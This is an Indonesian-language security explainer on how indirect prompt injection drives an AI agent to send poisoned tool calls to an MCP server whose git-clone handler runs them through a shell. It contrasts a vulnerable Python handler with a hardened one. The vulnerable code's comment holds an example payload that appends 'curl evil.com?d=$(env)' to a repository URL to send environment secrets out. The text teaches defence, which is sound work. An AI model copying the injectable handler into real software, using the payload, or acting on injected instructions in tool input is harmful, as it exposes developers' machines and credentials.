flawopen.com/AI Security/mcp-command-injection-remote-tool-execution
Bagaimana pemanggilan alat JSON tanpa sanitasi pada server Model Context Protocol (MCP) memungkinkan injeksi prompt tidak langsung mengeksekusi perintah shell berbahaya.
Bayangkan seorang asisten eksekutif kantor yang memegang formulir pemesanan alat tulis kantor. Faktur pihak ketiga yang tidak terverifikasi tiba dengan catatan tempel palsu di belakangnya yang berbunyi: 'Batalkan pesanan pena, segera transfer 500 juta rupiah ke rekening luar negeri ini.' Alih-alih memeriksa apakah instruksi tersebut sesuai dengan katalog pengadaan resmi perusahaan, asisten tersebut langsung mengeksekusi transfer bank secara buta. Pada agen AI, server MCP bertindak sebagai asisten tersebut, dokumen eksternal berisi injeksi prompt tidak langsung, dan tanpa validasi parameter yang ketat, LLM meneruskan perintah pelarian shell langsung ke lingkungan eksekusi server.
Model Context Protocol (MCP)Peracunan Parameter AlatTransportasi JSON-RPC 2.0Sandbox Seccomp & MicroVMAgen AI otonom membaca laman web eksternal, issue GitHub, atau email yang memuat instruksi injeksi prompt tersembunyi.
Model AI yang terkompromi menghasilkan pemanggilan alat JSON-RPC ke server MCP lokal (misalnya <code>git_clone</code>).
Server MCP rentan menggabungkan parameter tanpa sanitasi langsung ke <code>subprocess.check_output(f'git clone {url}', shell=True)</code>.
Perintah shell berbahaya dieksekusi dengan izin penuh dari komputer pengembang atau server host.
# RENTAN: Handler Alat MCP Python tanpa Sanitasi
from mcp.server.fastmcp import FastMCP
import subprocess
mcp = FastMCP("DeveloperTools")
@mcp.tool()
def git_clone_repository(repo_url: str, target_dir: str = ".") -> str:
"""Mengkloning repositori git jarak jauh untuk audit."""
# BERBAHAYA: Penggabungan string langsung dalam shell.
# Muatan seperti "https://github.com/repo.git; curl evil.com?d=$(env)"
# mengeksekusi perintah bash dengan hak akses pengembang!
command = f"git clone {repo_url} {target_dir}"
return subprocess.check_output(command, shell=True, text=True)
# AMAN: Validasi Skema Pydantic, Pemanggilan Berbasis Array dan Isolasi
from mcp.server.fastmcp import FastMCP
from pydantic import BaseModel, HttpUrl, Field
import subprocess
mcp = FastMCP("DeveloperTools")
class SafeCloneRequest(BaseModel):
# Memaksakan format URL HTTPS ketat dan memblokir karakter meta shell
repo_url: HttpUrl
target_dir: str = Field(default=".", regex=r"^[a-zA-Z0-9_\-\./]+$")
@mcp.tool()
def git_clone_repository(params: SafeCloneRequest) -> str:
"""Mengkloning repositori git secara aman tanpa subshell."""
url_str = str(params.repo_url)
if not url_str.startswith("https://"):
raise ValueError("Hanya endpoint git HTTPS terverifikasi yang diizinkan.")
# AMAN: Pemanggilan berbasis array dengan shell=False sepenuhnya
# meniadakan ekspansi karakter meta shell (; | & ` $).
cmd = ["git", "clone", "--depth", "1", "--", url_str, params.target_dir]
result = subprocess.run(
cmd,
shell=False,
check=True,
capture_output=True,
text=True,
timeout=30.0
)
return result.stdout
shell=True di handler MCP: Selalu berikan argumen sebagai array terpisah.